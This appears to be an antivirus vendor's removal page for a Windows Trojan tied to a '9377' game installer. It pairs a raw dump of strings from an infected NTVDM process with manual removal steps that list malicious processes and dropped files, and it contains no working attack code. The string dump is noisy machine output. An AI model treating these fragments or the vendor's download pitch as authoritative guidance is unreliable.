COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

%WinDir%

NTVDM.EXE

5.1.2600.5512 (xpsp.080413-2111)

Windows

Operating System

5.1.2600.5512

5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.,The CMOS file cmos.ram could not be created.,The CMOS file cmos.ram could not be updated.<The memory resources needed by NTVDM could not be allocated.

LAn installation file required by NTVDM is missing, execution must terminate.

Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t

MS-DOS program files must end with the extension .EXE, .COM, or .BAT.

vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format

16 bit Windows Subsystem

VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.

Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.

Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.

Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate<The system cannot open %s port requested by the application.

ntvdm.exe_1436_rwx_00000000_00010000:

C:\DOCUME~1\ADM\LOCALS~1\TEMP\NSZ2.TMP\G0828_~1.EXE

G0828_~1EXE

."/\[]:|<> =;,

c:\wina20.386

%WinDir%\SYSTEM32\COUNTRY.SYS

url=""

89:;<=>?

1234567890-=

!@#$%^&*()_ 

789-456 1230.

!"#$%&,-./012

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp

%WinDir%\SYSTEM32\COMMAND.COM

%File allocation table bad, drive %1

Invalid COMMAND.COM

!Press any key to continue . . .

Cannot execute %1

Error in EXE file

%WinDir%\TEMP\scsA.tmp

arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

\COMMAND.COM

COMSPEC=\COMMAND.COM

BMicrosoft(R) Windows DOS

FCOMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]

H [drive:]path Specifies the directory containing COMMAND.COM file.

N /MSG Specifies that all error messages be stored in memory. You

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32

[]|<> =;"

ntvdm.exe_1436_rwx_00010000_00090000:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

%WinDir%\TEMP\scsA.tmp

89:;<=>?

0WINDOWS MS-DOS STARTUP FILE

0CONFIG.SYS VS CONFIG.NT

0CONFIG.SYS IS NOT USED TO INITIALIZE THE MS-DOS ENVIRONMENT.

0CONFIG.NT IS USED TO INITIALIZE THE MS-DOS ENVIRONMENT UNLESS A

0IS INITIALIZED. TO DISPLAY CONFIG.NT/AUTOEXEC.NT INFORMATION, ADD

0THE COMMAND ECHOCONFIG TO CONFIG.NT OR OTHER STARTUP FILE.

0NTCMDPROMPT

0MS-DOS-BASED APPLICATION, WINDOWS RUNS COMMAND.COM. THIS ALLOWS THE

0TSR TO REMAIN ACTIVE. TO RUN CMD.EXE, THE WINDOWS COMMAND PROMPT,

0RATHER THAN COMMAND.COM, ADD THE COMMAND NTCMDPROMPT TO CONFIG.NT OR

0COMMAND.COM. IF YOU START AN APPLICATION OTHER THAN AN MS-DOS-BASED

0CONFIG.NT OR OTHER STARTUP FILE.

0WANT THE SYSTEM TO SUPPORT. 1 <= ALTREGSETS <= 255. THE

0AND LEAVE THE RESTS(IF AVAILABLE) TO BE USED BY DOS TO SUPPORT

0WITH YOUR APPLICATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE

D%WinDir%\SYSTEM32\HIMEM.SYS

Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS

S%WinDir%\SYSTEM32\COMMAND.COM

/P %WinDir%\SYSTEM32

ATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE

DEVICE=%WinDir%\SYSTEM32\HIMEM.SYS

COUNTRY=001,437,%WinDir%\SYSTEM32\COUNTRY.SYS

SHELL=%WinDir%\SYSTEM32\COMMAND.COM /P %WinDir%\SYSTEM32

%WinDir%\SYSTEM32\COUNTRY.SYS

[]|<> =;"

%WinDir%\TEMP\scs9.tmp

%WinDir%\SYSTEM32\COMMAND.COM

NTCMDPROMPTT

Unrecognized command in CONFIG.SYS

Insufficient memory for COUNTRY.SYS file

Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored

1234567890-=

!@#$%^&*()_ 

789-456 1230.

!"#$%&,-./012

00030<0?0

30333<3?3

<0<3<<<?<

?0?3?<???

Windows NT MS-DOS subsystem Mouse Driver

/)()(00)(

/@%}-{.Nb#b

!Press any key to continue . . .

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32\DOSX

NT.EXE

C:\DOCUME~1\ADM\LOCALS~1\TEMP\NSZ2.TMP\G0828_~1.EXE

nt.exe

DOSX.EXE

ntvdm.exe_1436_rwx_000A0000_00020000:

66666666

6666666

6666666666666666

6666666676666666

6666667076666666

ntvdm.exe_1436_rwx_000C9000_00013000:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

%System%\DOSX.EXE

%System%\mscdexnt.exe

VCDEX.DLL

%System%\redir

(load before dosx.exe)

C:\LANMAN.DOS

%System%\dosx

%System%\krnl386.exe

krnl386.exe

SYSTEM.INI

ntvdm.exe_1436_rwx_000E8000_00008000:

00030<0?0

30333<3?3

<0<3<<<?<

?0?3?<???

Windows NT MS-DOS subsystem Mouse Driver

ntvdm.exe_1436_rwx_00100000_00010000:

/)()(00)(

/@%}-{.Nb#b

to run Windows in Enhanced Mode

69797:6%7'6

C%D%DGDGD8EyD

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   MYLogger.exe:776
   9377mycs_Y_mgaz2_01.exe:1104

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %WinDir%\Temp\scs9.tmp (33880 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (4 bytes)
   %WinDir%\Temp\scsA.tmp (10145 bytes)
   C:\$Directory (4 bytes)
   %System% (3048 bytes)
   %Documents and Settings%\%current user%\FAVORITES (4 bytes)
   %Program Files%\MESSENGER (4 bytes)
   %Program Files%\Internet Explorer (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\index.dat (636 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\wireshark.txt (992 bytes)
   %Documents and Settings%\All Users (4 bytes)
   %Program Files%\Windows NT (4 bytes)
   %WinDir%\WinSxS\Policies\x86_Policy.8.0.Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_x-ww_77c24773 (4 bytes)
   %System%\config (8 bytes)
   %Documents and Settings%\All Users\Start Menu (4 bytes)
   %Program Files%\9377÷ÈÓ°´«Ëµ (4 bytes)
   %WinDir%\Temp\scs7.tmp (33880 bytes)
   %Documents and Settings%\%current user%\Local Settings\History\History.IE5\index.dat (484 bytes)
   %WinDir%\Temp\Perflib_Perfdata_668.dat (4 bytes)
   %Program Files%\Common Files\Adobe\Acrobat\ActiveX (4 bytes)
   %Documents and Settings%\All Users\Start Menu\Programs (4 bytes)
   %WinDir%\Temp\scs8.tmp (10145 bytes)
   %Documents and Settings%\%current user%\Cookies (192 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\120148\uninst.lnk (713 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ins1256858[1].exe (65488 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@baidu[1].txt (196 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\9377mycs_Y_mgaz2_01[1].exe (43024 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\F0916_s_30911.exe (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\G0828_s_70988.exe (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\ins1256858.exe (65488 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\inetc.dll (20 bytes)
   %Documents and Settings%\%current user%\Desktop\Intrenet Explorer.lnk (1 bytes)
   %Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\NsProcess.dll (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\9377mycs_Y_mgaz2_01.exe (43024 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\iplookup[1].htm (20 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
   %Program Files%\120148\Uninstall.exe (673 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\2.ico (9291 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\1.rar (20 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@9377[1].txt (122 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\quick_register[1].jpg (392 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery.Slideshow[2].js (9 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fast_register[2].js (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pc_new[1].css (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ajax[1].js (3848 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fast_register[1].js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery.Slideshow[1].js (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\wczc_btn[1].jpg (392 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pc_new[2].css (5 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\input_bg[1].jpg (6 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@9377[2].txt (266 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ajax[1].js (5745 bytes)
   %Documents and Settings%\All Users\Start Menu\Programs\9377÷ÈÓ°´«Ëµ\uninstall.lnk (1 bytes)
   %Program Files%\9377÷ÈÓ°´«Ëµ\MeiYing.dll (16288 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\ip.dll (784 bytes)
   %Documents and Settings%\All Users\Desktop\9377÷ÈÓ°´«Ëµ.lnk (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\inetc.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn5.tmp (32278 bytes)
   %Program Files%\9377÷ÈÓ°´«Ëµ\9377÷ÈÓ°´«Ëµ.lnk (1 bytes)
   %Program Files%\9377÷ÈÓ°´«Ëµ\MYLogger.exe (13368 bytes)
   %Program Files%\9377÷ÈÓ°´«Ëµ\uninstall.exe (2275 bytes)
   %Program Files%\9377÷ÈÓ°´«Ëµ\MYLogger.ini (595 bytes)
   %Documents and Settings%\All Users\Start Menu\Programs\9377÷ÈÓ°´«Ëµ\9377÷ÈÓ°´«Ëµ.lnk (1 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.